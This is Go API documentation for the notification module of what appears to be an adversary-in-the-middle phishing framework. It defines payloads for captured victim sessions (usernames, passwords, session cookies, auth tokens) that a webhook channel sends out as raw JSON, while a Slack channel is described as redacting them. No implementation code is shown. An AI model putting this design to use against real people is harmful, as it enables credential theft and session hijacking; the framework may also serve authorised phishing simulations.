Documentation
¶
Overview ¶
Package notify delivers event notifications to external systems (webhooks, Slack).
Index ¶
Constants ¶
This section is empty.
Variables ¶
This section is empty.
Functions ¶
This section is empty.
Types ¶
type BotData ¶
type BotData struct {
SessionID string `json:"session_id"`
RemoteAddr string `json:"remote_addr"`
BotScore float64 `json:"bot_score"`
Verdict string `json:"verdict"`
Reason string `json:"reason"`
}
BotData carries details about a detected bot.
type Channel ¶
type Channel interface {
// Send delivers a single notification. The context carries the shutdown
// deadline — implementations should respect cancellation.
Send(ctx context.Context, notification Notification) error
// Name returns a human-readable identifier for logging (e.g., "webhook", "slack").
Name() string
}
Channel delivers a notification to an external system. Implementations must be safe for concurrent use from multiple goroutines.
type DNSData ¶
type DNSData struct {
Zone string `json:"zone"`
Name string `json:"name"`
Type string `json:"type"`
Action string `json:"action"`
Provider string `json:"provider"`
}
DNSData describes a DNS record synchronization event.
type Dispatcher ¶
type Dispatcher struct {
// contains filtered or unexported fields
}
Dispatcher subscribes to events on the bus, builds Notification payloads, and fans out to registered channels with retries.
func NewDispatcher ¶
func NewDispatcher(bus eventBus, logger *slog.Logger) *Dispatcher
func (*Dispatcher) Reload ¶
func (d *Dispatcher) Reload(channels []*aitm.NotificationChannel)
Reload replaces the active channel set. Called when channels are added or removed via the API.
func (*Dispatcher) Shutdown ¶
func (d *Dispatcher) Shutdown(ctx context.Context) error
Shutdown stops the dispatcher and waits for in-flight deliveries to complete or the context deadline to expire.
func (*Dispatcher) Start ¶
func (d *Dispatcher) Start(ctx context.Context, channels []*aitm.NotificationChannel)
Start subscribes to events for all configured channels and begins dispatching.
func (*Dispatcher) Test ¶
func (d *Dispatcher) Test(ctx context.Context, config *aitm.NotificationChannel) error
Test sends a test notification through a single channel configuration.
type Notification ¶
type Notification struct {
Event sdk.EventType `json:"event"`
Timestamp time.Time `json:"timestamp"`
Session *SessionData `json:"session,omitempty"`
Bot *BotData `json:"bot,omitempty"`
DNS *DNSData `json:"dns,omitempty"`
Phishlet string `json:"phishlet,omitempty"`
}
Notification is the common payload built by the dispatcher for every event. Webhook channels send this as-is; Slack channels format it into Block Kit.
type SessionData ¶
type SessionData struct {
ID string `json:"id"`
Phishlet string `json:"phishlet"`
LureID string `json:"lure_id"`
RemoteAddr string `json:"remote_addr"`
UserAgent string `json:"user_agent"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
Custom map[string]string `json:"custom,omitempty"`
CookieTokens map[string]map[string]string `json:"cookie_tokens,omitempty"`
BodyTokens map[string]string `json:"body_tokens,omitempty"`
HTTPTokens map[string]string `json:"http_tokens,omitempty"`
StartedAt time.Time `json:"started_at"`
CompletedAt *time.Time `json:"completed_at,omitempty"`
}
SessionData is a serialization-safe representation of a captured session. Cookie values are flattened to domain → name → value strings.
type SlackChannel ¶
type SlackChannel struct {
// contains filtered or unexported fields
}
SlackChannel delivers notifications as Slack Block Kit messages. Sensitive data (passwords, cookie values, token values) is redacted.
func NewSlackChannel ¶
func NewSlackChannel(webhookURL string) *SlackChannel
func (*SlackChannel) Name ¶
func (s *SlackChannel) Name() string
func (*SlackChannel) Send ¶
func (s *SlackChannel) Send(ctx context.Context, notification Notification) error
type WebhookChannel ¶
type WebhookChannel struct {
// contains filtered or unexported fields
}
WebhookChannel delivers notifications as raw JSON POST requests.
func NewWebhookChannel ¶
func NewWebhookChannel(url, authHeader string) *WebhookChannel
NewWebhookChannel creates a webhook channel that POSTs raw JSON to url. If authHeader is non-empty, it is sent as the Authorization header.
func (*WebhookChannel) Name ¶
func (w *WebhookChannel) Name() string
func (*WebhookChannel) Send ¶
func (w *WebhookChannel) Send(ctx context.Context, notification Notification) error